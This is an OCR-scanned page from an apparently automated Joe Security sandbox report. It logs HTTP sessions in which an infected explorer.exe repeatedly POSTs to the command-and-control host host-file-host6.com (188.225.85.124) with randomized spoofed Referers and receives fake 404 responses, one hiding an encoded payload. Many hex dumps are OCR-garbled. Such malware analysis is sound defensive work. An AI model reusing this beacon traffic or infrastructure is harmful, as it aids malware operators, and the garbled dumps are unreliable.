44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 Od Oa Od Oa

Data Ascii: 197<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fcarunhrnf.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 356

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 12382
10:30:38.530178070 CET

Session ID Source IP
36 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12383

10:30:38.746222973 CET

Nov 18, 2021 12384
10:30:38.866769075 CET

Session ID Source IP
37 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12385

10:30:38.968827963 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49807

Direction

ouT

Source Port
49808

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://egvtcfnms.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 Od Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://urcbtq.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 155

Host: host-file-host6.com

Page 36 of 95



kBytes
Timestamp transferred

Nov 18, 2021 12385
10:30:39.078393936 CET

Session ID Source IP
38 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12545

10:30:39.260873079 CET

Nov 18, 2021 12912
10:30:39.373790979 CET

Session ID Source IP
39 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 12965

10:30:39.491084099 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49810

Direction

ouT

Source Port
49812

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fwulqvf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 135

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e Oa 3c 2f 62 6 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htm|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://mslexfru.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 142

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 13484
10:30:39.594752073 CET

Session ID Source IP
4 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 1175

10:30:08.814765930 CET

Nov 18, 2021 1176
10:30:08.910515070 CET

Session ID Source IP
40 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13485

10:30:39.681325912 CET

Nov 18, 2021 13487
10:30:39.780395031 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49761

Direction

ouT

Source Port
49813

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ndqivnd.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 350

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2
13 cc 7b b8 43 12 ¢3 55 al b9 67 f4 25 45 51 b8 f6 cb 41 el Oe 88 16 95 el 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d Oa
30 0d Oa 0d Oa

Data Ascii: 461:8200j{CUg%EQAc}ycO

Destination IP  Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http:/luhjtydl.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 143

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3¢ 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0
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kBytes

Timestamp transferred
Session ID Source IP
41 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13500

10:30:39.971889019 CET

Nov 18, 2021 13501
10:30:40.082427025 CET

Session ID Source IP
42 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13502

10:30:40.217014074 CET

Copyright Joe Security LLC 2021

Direction

Source Port

49814

Direction

ouT

Source Port
49815

Direction
ouT

Data

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jorckc.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 197<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process
188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://yeqvyp.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 284

Host: host-file-host6.com
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kBytes
Timestamp transferred

Nov 18, 2021 13503
10:30:40.314155102 CET

Session ID Source IP
43 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13504

10:30:40.515712976 CET

Nov 18, 2021 13505
10:30:40.626152039 CET

Session ID Source IP
44 192.168.2.7

kBytes
Timestamp transferred
Nov 18, 2021 13505

10:30:40.713435888 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49816

Direction

ouT

Source Port
49817

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 66 69 6¢ 65 2d 68 6f 73 74 36 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73
3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 197<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-file-host6.com Port 80</address></body></htmI|>0

Destination IP Destination Port Process

188.225.85.124 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wcqjtt.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 281

Host: host-file-host6.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 18 Nov 2021 09:30:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 37 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
